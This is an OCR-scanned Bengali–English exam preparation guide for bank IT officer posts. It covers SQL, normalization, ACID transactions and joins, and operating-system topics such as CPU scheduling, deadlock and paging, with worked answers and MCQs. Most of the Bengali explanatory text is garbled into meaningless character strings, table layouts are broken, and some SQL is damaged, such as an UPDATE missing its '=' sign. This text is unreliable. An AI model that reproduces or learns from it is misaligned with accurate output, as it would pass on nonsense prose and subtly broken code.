JAIBR oS FIS SQL STIget
Selection Ocondition(R)  *I ST row Irgi3 WHERE
Projection TattributestR) T8 column Jr=13 (duplicate Im) SELECT DISTINCT col
Union / Intersection / u/n/- Union-compatible relation-93 ¢6 UNION / INTERSECT /
Difference AT EXCEPT
Cartesian product RxS S row-ad (Siol CROSS JOIN
Join RXS *[S577 product JOIN ... ON
Rename p Y eIt AS
Sureel

@0,000 BIFIF & balance-a3 account F/: T,cc no(Opalance > 50000(ACcount)) = SELECT acc_no FROM
Account WHERE balance > 50000;

¢.¢ Functional Dependency 8 Normalization

Functional Dependency X — Y: X-43 W9 GIHt Y-a3 W SW=9reiq [A41Fe| Partial dependency: non-
key attribute composite key-a3 Q36 SIF @217 fASF F | Transitive dependency: Key — A — B (B,
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key-aF @217 A-T T AE@FOII RSgMe) | Normalization-a3 tw#13: redundancy Q3%
insertion/update/deletion anomaly 73 4TI

Normal Form *$

1NF SfSf6 T3 atomic (AFF) WA, repeating group I multi-valued attribute 3

2NF 1NF + GFItAT partial dependency (33 (S non-key attribute /e key-a3 @217 fASze)
3NF 2NF + BIAT transitive dependency 33 (non-key — non-key 7%)

BCNF &fST6 non-trivial FD X — Y-93 ¢%ta X 96 super key

ANF / 5NF Multi-valued dependency / join dependency 73 1

Suirgel: 4ITor 41t Normalization

% B Enroliment(StudentID, StudentName, Courses) — (It Courses = “CSE101 (Dr. Rahman,
01711...), CSE102 (Dr. Karim, 01812...)" = multi-valued, S8 1NF 73|

1NF: &fS row-9 @3f6 course: R(StudentID, CourselD, StudentName, CourseName, Instructor,
InstructorPhone, Grade)

FD s13y%: StudentID — StudentName; CourseID — CourseName, Instructor; Instructor —

InstructorPhone; (StudentID, CourseID) — Grade

2NF (partial dependency %R): Student(StudentID, StudentName); Course(CourselD, CourseName,
Instructor, InstructorPhone); Enroliment(StudentID, CourselD, Grade)

3NF (transitive CourselD — Instructor — InstructorPhone %<): Course(CourselD, CourseName,

Instructor); Instructor(Instructor, InstructorPhone)
§oIg 86 (BfJe: Student, Course, Instructor, Enrollment — Q47 AFGH REFFF (T 799 INAICO A6
T4 row |MTSE Ao =0 (update anomaly %)

3NF & BCNF 73 — Fifsis Swrgad

R(Student, Subject, Teacher); &S5 s @ W1 K7 2/ (Teacher — Subject), @3 (Student,
Subject) — Teacher| Key = (Student, Subject)l Teacher — Subject-@ Teacher super key ¥ = BCNF
AeqH (Fg Subject prime attribute Its1 3NF 3 =ITy) | sT141A: (Teacher, Subject) 8 (Student,
Teacher)-@ ©rer|

¢.Y Transaction 8 ACID

Transaction = Q3G logical TSI 9T, T FEFG read/write T 51 W2 7T YRR o0 77, F9CST

QTR =T AT
Property ref DBMS-a & fAf<os ta
Atomicity All or nothing Transaction manager, undo
log, ROLLBACK
Consistency Transaction (GBIINF OF (IY WIRT (AT WIESP (4 TIFT Constraint, trigger, application
(7F; 99 constraint/rule IS AFH logic
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Isolation GFICK Bl transaction ARET Sorsyef T (e /1 Concurrency control (locking,
MVCC)

Durability =~ COMMIT 28T 217 crash 318 2AfI7ST Zrit Write-ahead log (redo), backup

fasts &% Bscs AME Jan 2026

Why is “Atomicity” specifically critical for an Inter-Bank Fund Transfer?

&eq: Inter-bank fund transfer (9 NPSB/BEFTN/RTGS-A3 NI I7LF A (ATF 7LF B-(S 50,000
BI<eT) SIS AN T (S) (AFTHF account (RITF debit, (R) settlement/clearing account-a entry, ()
STPItHFF account-A credit, (8) transaction log 8 notification|

Atomicity 2rgt if: 19t (5)-a7 2= network failure, server crash T timeout XA (AT BIFT (OB
T g A91F N[ 91 — B3t "R g, [PAATS credit 0T debit 1 30 1T WfAF FS @
duplicate Bt ¢ofF 331 LB ledger-aF SIISNT (debit = credit) 78 FCF, reconciliation ST, &2
WSt 8 3@ (Bangladesh Bank) Gifss=ig 1Rt 3371

Atomicity Af*6s Fta: 17 419t @B transaction RGII T 51=9)«f COMMIT 33, TICST (CFITAT ST
(6T ROLLBACK (T TSI WRIRI (e (undo log IRRIR ) | 13 o7 71 oty aifes It
distributed transaction-a Two-Phase Commit (2PC) — prepare phase 8 commit phase — St
reversal/compensating transaction IR T |

START TRANSACTION;

UPDATE accounts SET balance balance - 10000 WHERE acc_no 'A-101";

UPDATE accounts SET balance balance + 10000 WHERE acc_no = 'B-202';

INSERT INTO txn_log(from_acc, to_acc, amount) VALUES ('A-101', 'B-202', 10000);
COMMIT; -- (I 4t error 3te1: ROLLBACK;
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fAss & Bscs AME May 2026

What does the Consistency property in ACID quarantee during a bank fund transfer transaction? You are
designing the schema for a Savings_Accounts table. Write the specific SQL constraint clause [that prevents
the balance from becoming negative].

Consistency-a3 fA*sel: Transaction SFF WIS (GHIRT (IY AIF AP FITTS (IY TIFT AP —
< integrity constraint, business rule 8 invariant IS FR | Fund transfer-Q: () GG BIp1F Ao
WofAfS® AT (A-F debit = B-7 credit, BIFT (7 1 AT 7); () AT account-ad balance

R RfRgeelR A9 33 77, (9) foreign key (fBQRIF account-a transfer F3) 8 S35 rule I=%1 ST
GICAT 419f constraint S1ete DBMS (373 statement/transaction Jifoe S|

CREATE TABLE Savings_Accounts (
account_no VARCHAR(20) PRIMARY KEY,

customer_id INT NOT NULL,
balance DECIMAL(15,2) NOT NULL DEFAULT 0.00,
opened_on DATE NOT NULL,

CONSTRAINT chk_balance_non_negative CHECK (balance >= 0),
CONSTRAINT fk_customer FOREIGN KEY (customer_id) REFERENCES Customers(customer_id)
);

-- e GReE @t Face:
ALTER TABLE Savings_Accounts
ADD CONSTRAINT chk_balance_non_negative CHECK (balance >= 0);

Q2= UPDATE .. SET balance = balance - 56000 I balance J9Ig[F F¢d, DBMS error (I QI
transaction ROLLBACK a1 (MySQL 8.0.16-97 ®itst CHECK St 2rot — (T trigger 721K
FACO 3CS1 1) BIFT AUTS FLOAT =T, DECIMAL JI<_3IT 6 — rounding error QSIS |

¢.q Concurrency Control 8 Indexing

Concurrency STt

Lost update 7fB transaction @33 balance 9IS WAMISIT WITTE FCF; AFH 7o~ 2T Tm
Dirty read T transaction-a3 uncommitted (91t rollback 28 (GHT #IGT
Non-repeatable read A3 row JJIF G fOF WIF (VA T (S update FAR)

Phantom read OF3 query YT SIS T4 row (T (T
Isolation level (73 — #If&=I1eit): Read Uncommitted — Read Committed — Repeatable Read —
Serializable!| Locking: Shared lock (S, read) — a3If& &= @9, Exclusive lock (X, write) — 9FG J1q|

Two-Phase Locking (2PL): growing phase (8¢ lock (7831) 8 shrinking phase (8¢ &IGl) — serializability
fAf*bw 37, O3 deadlock RS AT SELECT .. FOR UPDATE fica row locki

Indexing

Index 2CAT I3CIF oD WS — B+ tree (range query-(S SIaT) A1 hash (equality-(S Sitat) st5, T full table
scan afSta search O(log n)-a A1 Clustered index: (G5! fRT& index & G ((BRTeT Ai63,
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SIS primary key)l Non-clustered: =Tt 5159, pointer AL (AFIEF TCS 2IC) | I wfSHes
storage Q3% INSERT/UPDATE &=

CREATE INDEX idx_txn_date ON transactions(txn_date);

¢.b SQL FAITT cAfeifIers
cxifey IS
DDL (Data Definition) CREATE, ALTER, DROP, TRUNCATE, RENAME
DML (Data Manipulation) INSERT, UPDATE, DELETE, (SELECT — X4t DQL I¢e1A)
DCL (Data Control) GRANT, REVOKE
TCL (Transaction Control) COMMIT, ROLLBACK, SAVEPOINT
IERL DELETE TRUNCATE DROP
cifey DML DDL DDL
I OMR ST AR row 3 row, ST5F AF T BRI — 5157, ©oI, index,
(WHERE) constraint
Rollback f SIS 1 (DBMS (8tW) Bl
SIS / 819, row-by-row log; trigger ~ %w; trigger 5¢e1 711; identity %o
Trigger Pl reset

WHERE 39151 HAVING

WHERE grouping-a3 @&1tsr &fS6 row 619 ¢, aggregate function (SUM, AVG) J11=1F 1 I A1
HAVING GROUP BY-4a3 91tz group f=FeB1d F(F, aggregate IIA=IT FT 171

AfGTIIeT execution &9: FROM — JOIN — WHERE — GROUP BY — HAVING — SELECT — DISTINCT
— ORDER BY — LIMIT

@.» JOIN — 216 Bfarar caat

Customer Account
1 Rahim 101 1
2 Karim 102 1
3 Salma 103 4
JOIN FAIPFA (name, acc) Row
INNER JOIN (Rahim,101), (Rahim,102) 2
LEFT JOIN (Customer J1tN) (Rahim,101), (Rahim,102), (Karim,NULL), (Salma,NULL) 4
RIGHT JOIN (Rahim,101), (Rahim,102), (NULL,103) 3
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FULL OUTER JOIN T9ItIF 1] @F@: Rahimx2, Karim, Salma, NULL-103 5

CROSS JOIN 3 x 3 9] (&l 9

-- (T ST @A account (3

SELECT c.name

FROM Customer c¢ LEFT JOIN Account a ON c.cid = a.cid
WHERE a.acc IS NULL; -- Karim, Salma

Self join: a3 (GRet= 13 alias T join (= Employee 8 ©1F manager)! MySQL-a FULL OUTER JOIN
(93 — LEFT JOIN UNION RIGHT JOIN ficst =1 =31

¢.>o fEifde AIqhwg SQL o — SIgi=sTs

faste o ANSE 2026

Write an SQL query to retrieve employees whose salaries are greater than the average salary of their
respective departments. Employees(employee_id, name, salary, department)
I > — Correlated subquery:

SELECT e.employee_id, e.name, e.salary, e.department
FROM Employees e
WHERE e.salary > (SELECT AVG(e2.salary)

FROM Employees e2

WHERE e2.department = e.department);

JIREF query-T AfST row-93 T (o subquery @ FHF department-9d 516 &I I (D13
“correlated"”)!
ST 2 — Derived table + JOIN (I 6fJter @f¥t Frfwa):

SELECT e.employee_id, e.name, e.salary, e.department
FROM Employees e
JOIN (SELECT department, AVG(salary) AS avg_sal
FROM Employees
GROUP BY department) d ON e.department = d.department
WHERE e.salary > d.avg_sal;

ge1: WHERE salary > AVG(salary) — WHERE-Q aggregate 51 71T; SIIF 9T (@r=oHifAg o1@ et “respective
department” *I5 <3¢ 37 7|
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fQsts & so 172026 (25104)

Consider the relation Employee(EmpID, Name, Department, Salary). Write an SQL query to retrieve the
Department, the total number of employees [and the salary summary] of each department ... (52531 St
SATHT CIFIH FIBT — 2Apfere of ot 47 T&F)

SELECT Department,
COUNT (%) AS total_employees,
SUM(Salary) AS total_salary,
AVG(Salary) AS avg_salary

FROM Employee

GROUP BY Department

ORDER BY total_employees DESC;

-- 8y (¥ department-a ¢ AT QB FA:

SELECT Department, COUNT(*) AS total_employees
FROM Employee

GROUP BY Department

HAVING COUNT(*) > 5;

fS3%: SELECT-@ (T non-aggregate column 3I S S#3 GROUP BY-(S AFCS J|

faste o1 BB AP 2023

Write a SQL query to return the number of movies which are romantic comedies. Tables: Movies(mid,
title, year), People(pid, name), Genres(gid, genre), ActsIn(pid, mid), HasRole(pid, mid, role),
HasGenre(gid, mid)I

“Romantic comedy” = (I movie-d genre-4 Romance 432 Comedy YIBIR W | QFG row-CS genre
aFb3 A, SI3 WHERE genre = 'Romance' AND genre = 'Comedy' SN HIFT T (T — @B
STRCHC ST g |

MY > — GROUP BY + HAVING:

SELECT COUNT(*) AS romantic_comedies
FROM (SELECT hg.mid
FROM HasGenre hg
JOIN Genres g ON g.gid = hg.gid
WHERE g.genre IN ('Romance', 'Comedy')
GROUP BY hg.mid
HAVING COUNT(DISTINCT g.genre) = 2) AS rc;

i * — Self join:

SELECT COUNT(DISTINCT h1.mid) AS romantic_comedies
FROM HasGenre hl JOIN Genres gl ON gl.gid = hl.gid
JOIN HasGenre h2 ON h2.mid = hl.mid

JOIN Genres g2 ON g2.gid = h2.gid

WHERE gl.genre = 'Romance' AND g2.genre = 'Comedy';

Ifet Genres Bf{ta IAF 'Romantic Comedy' 91ty @G genre A, St3: SELECT COUNT(DISTINCT hg.mid)
FROM HasGenre hg JOIN Genres g ON g.gid = hg.gid WHERE g.genre = 'Romantic Comedy'; —

BT @3 A fered o
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fAs1S ot officer IT 2026 (25105)

An institute wants to create a database table named STUDENT to store student information. The table
should include the columns Roll Number, Name, Department, Email, and Admission Date. Specify the
most appropriate SQL data type for each column and identify [the primary key / constraints].

Column Data type Constraint FIFA
roll_no INT (3t VARCHAR(15) ¥t = PRIMARY KEY AfSTS s w==y #ifdey,
R ) NULL 9
name VARCHAR(100) NOT NULL SAfFTSTMNeT M GG
department VARCHAR(50) NOT NULL (Zﬁﬁhﬁ%ﬂDepannmnt
BfteTa foreign key)
email VARCHAR(100) UNIQUE TOd 3 email 7T —

alternate key

admission_date DATE NOT NULL, DEFAULT Sife gera1/f2R sime
CURRENT_DATE

CREATE TABLE STUDENT (

roll_no INT PRIMARY KEY,
name VARCHAR(106) NOT NULL,
department VARCHAR(50) NOT NULL,
email VARCHAR(100) UNIQUE,
admission_date DATE NOT NULL

);

INSERT INTO STUDENT VALUES (1001, 'Ayesha Rahman', 'CSE', 'ayesha@uni.edu', '2026-01-
15');

CHAR 3415 VARCHAR: CHAR(n) 33 tnfy («1fe Girgsit padding), VARCHAR(n) #fiR&=#iiet — A/email-a VARCHAR
TS|
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was Ar-fAfes Query

-- . RO W @oF
SELECT MAX(salary) FROM Employees
WHERE salary < (SELECT MAX(salary) FROM Employees);

-- 3. N-o% s @o+ (N = 3), MysqQL
SELECT DISTINCT salary FROM Employees
ORDER BY salary DESC LIMIT 1 OFFSET 2; -- OFFSET = N-1

-- 3(%). Window function ity

SELECT salary FROM (
SELECT salary, DENSE_RANK() OVER (ORDER BY salary DESC) AS rnk
FROM Employees) t

WHERE rnk = 3;

-- v, Duplicate email e
SELECT email, COUNT(*) AS cnt FROM Customers
GROUP BY email HAVING COUNT(*) > 1;

-- 8. &fS® department-4a3 JEH @TOTCSIN
SELECT e.* FROM Employees e
WHERE salary = (SELECT MAX(salary) FROM Employees WHERE department = e.department);

-- . W 'A' T 9F, @OF WEIE st T
SELECT * FROM Employees WHERE name LIKE 'A%' ORDER BY salary DESC;

-- b, 9 AW @9 S0% oAt (IT department)
UPDATE Employees SET salary = salary * 1.10 WHERE department = 'IT';
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¢.5> View, Stored Procedure 8 Trigger

-- VIEW: 53f%% query, virtual table — fNaerar 8@ sgere!
CREATE VIEW high_value_accounts AS
SELECT acc_no, name, balance FROM accounts WHERE balance > 1000000;

-- STORED PROCEDURE (MySQL): server-a saf%ws, precompiled IS
DELIMITER //
CREATE PROCEDURE transfer(IN src VARCHAR(20), IN dst VARCHAR(20), IN amt DECIMAL(15,2))
BEGIN
DECLARE EXIT HANDLER FOR SQLEXCEPTION ROLLBACK;
START TRANSACTION;

UPDATE accounts SET balance = balance - amt WHERE acc_no = src;
UPDATE accounts SET balance = balance + amt WHERE acc_no = dst;
COMMIT;

END //

DELIMITER ;

CALL transfer('A-101', 'B-202', 5000);

-- TRIGGER: fAfMg oA Ff&wens o (audit trail)

CREATE TRIGGER trg_audit AFTER UPDATE ON accounts

FOR EACH ROW

INSERT INTO audit_log(acc_no, old_bal, new_bal, changed_at)
VALUES (OLD.acc_no, OLD.balance, NEW.balance, NOW());

ARRBCT trigger T audit trail AT HTFT BIfRAT SIF0 STy 1 View-(S sensitive column (%4 NID)
Im 9T user-GF access ST T

¢.52 SQL 919 NoSQL

IEER SQL (Relational) NoSQL

N5 &=, AME schema Document, Key-value, Column-family, Graph; flexible schema
Scaling YT vertical (3T server) Horizontal (sharding, < server)

Consistency ACID SRS BASE (eventual consistency), CAP-& trade-off
TSrRRe Oracle, MySQL, PostgreSQL, MongoDB (document), Redis (key-value), Cassandra/HBase

SQL Server (column), Neo4j (graph)
BINSH Core banking ledger, Session cache, log, fraud graph, analytics
R transaction
CAP Theorem

Distributed system-& network partition (P) 2teT Consistency (C) 8 Availability (A)-a3 Sty O3B @
fRte 77 — e f[BAfE sasfT sirsw T A
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¢.5>9 MCQ Srgter

1. Database-Q ACID-4F sj<fst I?
(F) Access, Control, Integrity, Data (¥) Atomicity, Consistency, Isolation, Durability
(s7) Atomicity, Concurrency, Integrity, Durability (8) Accuracy, Consistency, Isolation, Data

T83: (¥) (Officer IT MCQ 2026)

2. SQL-a & clause grouping-ad Ita 31 ATAISt FTF 932 aggregate function JIZT FATS WT?

() HAVING (¥) WHERE
(1) WITH (1) SELECT
6 ()

3. (I FAIG QF6 BT (F5751=) To03ef Yo cFeeT?
() DELETE (4) DROP
(°T) REMOVE () TRUNCATE

@ (4) — TRUNCATE 8¢ (GBI (ITg, 515 I |

4. COBIIA AfToIAAIT T (19 SIFl JJITo 2T?

() HTML (¥) SQL
(s1) XML (%) Java
Taq: (¥)
5. STUDENT Bfteid (@36 marks St Swai®} (descending) T SIS (1916 Af56?
() SORT BY marks DESC (4) ORDER BY marks DESC
(1) GROUP BY marks DESC (=) ORDER marks DOWN

ed: (%) (Officer IT 2026 MCQ)

6. Primary key ™It (1916 51ey?

() NULL %o #f1ta (2) GfRTeT asifss Yo 2
() Unique 8 NOT NULL (9) Duplicate S TS AT
Tag; (51)

7. TRUNCATE 19 caiferg 51r5?

(<) DML (¥4) DDL
(1) DCL (=) TCL
Taq: (¥)

8. COMMIT-a7 919 system crash Tte13 sif33S ot At ACID-99 &I (af+18y?

() Atomicity (4) Consistency
(o1 Isolation () Durability
Tag; (9)
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9. GRANT 8 REVOKE &I cifera Fw1s?
(=) DDL (¥) DML
(o) DCL (=) TCL

&@d: () — Data Control Languagel

10. Foreign key 4is Ft fAf<ts wta?
() Entity integrity (¥) Referential integrity
(s1) Domain integrity (99) Indexing
6 () — ATBQIA parent row- U™ T G|

11. 2NF J1© (&FI9 dependency 43 3(3?
() Transitive (%) Partial
(s) Multi-valued (9) Join

Twq: (4) — 3NF %J I transitivel

12. (It relation BCNF-a 153 1f% AfS6 non-trivial FD X — Y-93 GFta—

() Y 9B prime attribute TI (¥) X 9B super key =
(s1) X @G non-key = (9) Y @3f6 candidate key 3
Te: (¥)
13. LEFT JOIN §} cFa® (va?
(F) By e T8 row (¥) I (BIRTeTa 7K row + B STt TSI row (A1
a1t NULL)
(s1) ©IF (Gt 519 row () 93 (BfR_ReeTg 911 et
Te: ()
14. COUNT(column) 8 COUNT(*)-a3d *itfs FI?
(F) AT ANAFF (3 (2) COUNT(column) NULL S ¢stie =t
(s1) COUNT(*) NULL ¢t =1 () COUNT(column) duplicate ¢sire =1t

Taq: (4) — COUNT(*) 1 row (STt |

15. fAtea 1916 @F® NoSQL (document) database?

(=¢) Oracle (2) MySQL
(s") MongoDB (9) PostgreSQL
Taq: (51)
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ST v — Sotaiee ooy 8 a9

Operating System & Linux

Officer (IT), Senior Officer (IT), AP 8 AME — BIF (9110363 OS (U f@fds & =iest: CPU scheduling-a3 Gantt
chart (Officer IT 2026), deadlock-a3 B1F *I5 @ RAG (AME 2026, AME/AE 24.01.2026), logical 3919 physical
address (AME/AE 24.01.2026), circular queue (SO IT 2026)I MCQ-(S thread Ft share S A1, context
switch (I 39, S|F &9 OTT — Q! II[/]AT ST |

Y. ToHTafee ooy 1 8 &

TATFTBR HITBw (0S) 20T 3Te/iftE*= 8 IESMIET WRIF resource manager 8 control programi
CPU, memory, disk, I/0 — SIRfFg & F44 #I1F, 0S 5 71

et (Function) I FE Swrgge
Process management process (ofd/3F, scheduling, synchronization CPU scheduler,
semaphore

Memory management (&9 process (FH memory AT, paging, virtual page table, MMU
memory

File management H131/fS@$fF, permission ext4, NTFS

I/0 / Device device driver, buffering, spooling printer spooler

management

Security & protection authentication, access control user/group permission

User interface CLI/ GUI bash, Windows Explorer

Kernel = 05-a3 (&%, SII59T memory-(S A | System call T user program kernel-a3 [t G (9
fork(), read() )I CPU-3 45 &I1G: user mode 8 kernel (privileged) mode|

Batch OF3 4 job AP, RSEIT F BT (73
Multiprogramming GFIf&F program memory-¢s, CPU FUHT S J1 ATH
Time-sharing (Multitasking) SATSIFCF (26 time slice — Round Robin

Real-time (RTOS) A8 STSNIR W&y STret — ATM-a3 fOTeisTis, ot
Distributed OFIEF FHNSHIFT QF6 Heow e

Y.2 TN, (AT 3 FAOHO J36

Program 3¢ disk-9 1T passive (TG, process 30! 5eIs= program (active entity)| 2S5 process-ag
7 AT PCB (Process Control Block)-A: PID, state, program counter, CPU registers, memory info, open
files, scheduling priority!|
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New Ready Terminated

admit - scheduler dispatih
44—

interrupt (time-out)

1/0 / event 5§ 1/0 3t event wait

5@ u.5: Process-a7 116G state (5-state model)

Process 9919 Thread

Thread 311 process-a3 (@9t lightweight execution unitl a3 process-a3 thread-8telt @ 63
share 3, ©I3 thread ¢ofF 8 switch 4t process-ax (bt I3 |

a3 process-ad thread-Jt Tt share T &S thread-a3 fAsF (share T3 1)
Code section, data section (global variable), heap Stack (local variable, function call)
Address space Program Counter (PC)
Open files / file descriptor table Register set
Signals, message queue Thread ID, thread state

MCQ =515

"Which is NOT shared by threads of the same process?" — $&a SII5NY Stack (I registers/PC)|
Officer IT MCQ 2026 (BIBM)-a 3% @% &% aticg|

Context Switch

CPU &3 process (TP HITF process-a ISR INY I process-ad state (registers, PC) ©IF PCB-(S
save F(J AR TQAI6F state load FET — QF context switch Icet| aft CPU-(S 9B (dispatcher F) @32 aft
pure overhead — @ ST (&IAT useful FTS 7T 1 Time quantum ¥J (BB 3C context switch & =,
throughput S|

Yv.v CPU Scheduling

Turnaround Time (TAT) = Completion Time (CT) - Arrival Time (AT)
Waiting Time (WT) = TAT - Burst Time (BT)
Response Time = AYAIIFT CPU “I1STIF NI - AT

Algorithm Preemptive? o1 5 ST
FCFS Bl CT IS TT (F | A1 (FIFO queue) Convoy effect — G job TN
BT AL
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SJF Bl FCECT (1B burst =TSt Burst ST (ATF T B,

starvation
SRTF =f Preemptive SJF — remaining time Starvation, & context switch
SR FH K
Round Robin =t HTOIF time quantum (q) < q IS =eT FCFS, (1B 2CeT overhead
Priority 618 3 T priority SISt Starvation — ST Aging
Multilevel — foreground (RR) + background (FCFS) TS I
Queue
T Y

Average waiting time <SS ™I SJF (non-preemptive-id Jt4y) AR AfFFeE SRTF — OBt efdesig
optimall Time-sharing S5 &5 SIACECT S21Y& Round Robin|

fasts &= Officer IT 2026 (25105)

A system has three processes with the following arrival times and CPU burst times ... Draw the Gantt
chart and calculate the average waiting time and average turnaround time.

e STHT FRANSTA! FRATT 2SN I, A6 ae3 Se6a 45 e 51=f% algorithm-a <[>t ST (T2 St — AKTHIT
VY LT INAIE, AES 9F3|

Process Arrival Time (ms) Burst Time (ms)
P1 0 7
P2 1 4
P3 2 2
() FCFS
P1 P2 P3
0 7 11 13

Process

P1 7 7-0=7 7-7=0

P2 11 11-1=10 10-4=6

P3 13 13-2=11 11-2=9

D) 28/3=9.33 ms 15/3 =5.00 ms

(¥) SJF (non-preemptive)

t = 0-(5 B P1 Wt — P1 1Y XS 5T (0-7)1 t = 7-a P2 (4) @ P3 (2) SHHHIar — (2155 P3 =t (7-9),
SR P2 (9-13)1
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Process CT TAT WT

P1 7 7 0
P2 13 12 8
P3 9 7 5
IS 26/3 =8.67 ms 13/3=4.33 ms

(sT) SRTF (preemptive SJF)

t=0: P1 &F| t=1: P2 SITH (4) < P1-9F 15 (6) — P2 5TA1 t=2: P3 ™A (2) < P2-9F 15 (3) — P3 5 (2-4)|
t=4: P2 (13 3) < P1 (J1fF 6) — P2 (4-7)1 SIF91F P1 (7-13)1

P1 P2 P3 P2 P1

fo@ v.v: SRTF-a3 Gantt chart

Process CcT TAT WT

P1 13 13 6

P2 7 6 2

P3 4 2 0

G 21/3=7.00 ms 8/3=2.67 ms

(%) Round Robin (q = 2 ms)

R 93 YZCS FQF | process 8 time-out ST process VBT TYATG queue-CS T I |

TSI 175141 9Itd Ready queue
0-2 P1 (I35 5) P2, P3, P1

2-4 P2 (31735 2) P3, P1, P2

4-6 P3 (x1g, CT=6) P1, P2

6-8 P1 (I 3) P2, P1

8-10 P2 (=15, CT=10) P1

10-13 P1 (15, CT=13) —

TAT:P1=13,P2=9,P3=4 - 5% 26/3 =8.67 ms; WT: P1=6,P2=5,P3=2— 55 13/3 =4.33 ms|

TR (Setad oIy feig)

Average WT: FCFS 5.00 > SJF 4.33 = RR 4.33 > SRTF 2.67 msl| SI3 A3 (GOIT SRTF AIHCT I, O
IV burst time | ST I T I time-sharing 6 RR Q¥ 37501
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V.8 Process Synchronization

» Race condition: 9FIfSF process 93 shared data AF ATFIIST FACA FATPH execution-aF FII
@R ST | IR SR 7o ATM (ATF 9F3 SIFISTE AR Sl — balance §& 2o #ATI|

* Critical section: (FITGF (T W<+l shared resource IRIF IR | STHIHIHF fSF *15: Mutual exclusion
(@Y 9FGH3), Progress, Bounded waiting |

* Semaphore: integer variable, 56 atomic operation — wait(S) /P (S—-, S<O %e1 block) 8 signal(S) /V
(S++)1 Binary semaphore (0/1) = mutex lock; counting semaphore = aIf&3 instance-a3 resourcel

o IS st Producer-Consumer (bounded buffer), Readers-Writers, Dining Philosophersi|

semaphore mutex = 1;
withdraw(amount) {

wait(mutex); // critical section-4 (GIFE AT &
if (balance >= amount) balance = balance - amount;
signal(mutex); // S (@G ST

v.¢ Deadlock

OFIfEF process ATF THI TS AT resource-A7 TH) RSB W FIA deadlock T

{5 ot BSCS AME/AE 24.01.2026
What are the four necessary conditions for a deadlock to occur? Briefly explain "Circular Wait." (10)
T@a: Coffman-a3 BIAfG *I$ QM oy 70T B33 deadlock 83
1. Mutual Exclusion: S8 a6 resource non-shareable — 9FF FG process-3 IR FAS
AT (TNF printer)|
2. Hold and Wait: a35f6 process S® @it resource & @04 HIFS resource-ad Gy SH F|
3. No Preemption: (FITHI resource (SR F(J (FCO (ST I 91; process e (mrs e & Y|

4. Circular Wait: process-Steig eI Je {PO, P1, ..., Pn} IF (TAMF PO N1 FC7 P1-99
resource-ag Gi<j, P1 S FFCR P2-Q9 G, ..., PN AT F4C8 P0-4F resource-A9 Gyl

Circular Wait SwIggel: P1 &3 ®1CE R1, 51308 R2; P2 4T3 WItg R2, 51308 R1 — (& QIS AT 11
AfSRIY: 5] resource-F OFB TP 799 MET A9 T — process BY IGFS T resource BIRTS ANAE
(resource ordering)| ©Ixts1 3@ CofF 3CO3 A AT

(¥F) single instance — cycle = deadlock (¥) multi-instance — cycle ity, deadlock @3
R1 R1 (25)

o - o -0
bt
. ’@ o >@

R2 R2

@ v.8: Resource Allocation Graph — 3@ = process, 35 = resource, =7 = instance| R—P = assignment, P—R = request
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faste o1 BScs AME 2026

Briefly explain "Circular Wait." In a Resource Allocation Graph (RAG), if a cycle exists, does it absolutely
guarantee that a Deadlock has occurred? Explain.

Taq: J1, T=<NY T

» S resource type-a3 g @B instance AFe RAG-A cycle = deadlock (necessary 8 sufficient
7o1R) | 5| v.8(F): P1 - R2 > P2 - R1 — P11

* (JIAT resource-a7 QFIfFF instance AFT cycle (AT deadlock-9F necessary f&3 sufficient F31
f5@ v.8(¥): P1 —» R2 —» P2 — R1 — P1 cycle Wity, 77§ R1-97 @S instance P3-93 Itz P3 &3
IR T SWHI F FAMT T FIGT -1 FF R1 (0T M — P2 S AT — P2 1F FF R2 BGE — P1
51| 13 deadlock 31

* MTH: No cycle = no deadlock (Rf*59)| Cycle = deadlock possible; Rf*5s 3ts 3t detection
algorithm (Banker's-a3 NtS1) BIETS S|

Deadlock TG F419 519 ST

IS I IF
Prevention BIF M WSS OFB (S0 T (TN resource ordering AT circular wait I%)
Avoidance 2fSTB request-a3 &Mt (e IGB safe state-a A fF 41 — Banker's Algorithm

Detection & Recovery  deadlock (@ (M3, ST 4 process kill / resource preempt

Ignore (Ostrich) Windows/Linux sitgaers @fos st — g1 et qcet

Tursaet: Banker's Algorithm ({6 resource type, GG So instance)

Process Allocation Max Need = Max - Allocation
PO 3 9 6
P1 2 4 2
P2 2 7 5

Available =10 - (3+2+2) = 3|

g9 5: P1-@3 Need 2 < 3 — P1 B8, (*ITF (FI© (MT 2 — Available =51
g9 :: P2-@3 Need 5 < 5 — BIeII\8 — Available =5+ 2 =7

g9 v: PO-@3 Need 6 < 7 — BIsTI\8 — Available = 101

S process I¥ 1 (3Itg — 6w safe; safe sequence = <P1, P2, P0O>|
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V.Y O ITAGICT6

fQsre A% BSCS AME/AE 24.01.2026

Differentiate between Logical Address and Physical Address in context of Operating System. (5)

3w Logical (Virtual) Address Physical Address

& R IR CPU, program Be1I9 ST MMU, logical address map 3
I AP IV (73 — program-ag Fieeis RAM-a3 &I+ location
oo d i o, program 9B1E IRR IR 1, IR access FAT T A1
il Logical address space Physical address space

Bk} MMU: Physical = base (relocation) register + logical; paging-a page table it

Compile-time 8 load-time binding-a %5 s=I=; execution-time binding-a et |

Paging
Logical memory-(& SIF WIFIIF page-a 3R physical memory-& a3 WIFIIT frame-a 15t F1 27
Page table It (T (19 page &7 frame-a | JfI&T: external fragmentation A%; Sf<4l: *19 page-9Q

internal fragmentation| Page table lookup %% Fdts TLB (Translation Lookaside Buffer) — @35 (2ib
associative cachel

Logical address = (page number p, offset d) | p =|LA/ page size], d = LA mod page size
Physical address = frame number x page size + d

Swizgel: Address translation

Page size = 4 KB = 4096 B = 22 — offset 12 bitl 32-bit logical address e page number = 32 - 12 =
20 bit — page table-a 220 = 1,048,576 entry|

Logical address Ox3A7F (= 14975)1 p = [14975/4096] = 3, d = 14975 - 12288 = 2687 (= 0xA7F)I

Page table It page 3 — frame 71 Physical = 7 x 4096 + 2687 = 28672 + 2687 = 31359 (0x7A7F)|
*GHIB: hex-a ¥ oft digit (12 bit) offset — 8 ST page digit IucaT frame digit I5T9: 0x3A7F —
Ox7A7FI

Segmentation 8 Fragmentation

Segmentation: program-(& logical ST (code, data, stack) Bt — HIFIF WANT; address = (segment
no, offset), segment table-a base 8 limitl External fragmentation 231

Internal fragmentation External fragmentation

I FA (GO AT Gl (fixed (G BIPpT Gt TE 5@ 2OIAI-RGIEAT (variable partition,
partition, paging) segmentation) — NI compaction/paging
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Virtual Memory 8 Page Replacement

Virtual memory #[tat process RAM-a 7 (14 8¢ WIIIF page 4 (demand paging), I1F6T disk-9F swap
area-CS| 518 page RAM-@ 7T A1Feet page fault =7, OS disk (ATF WIH; RAM 1 AFA A6 page TS
(replace) =TI

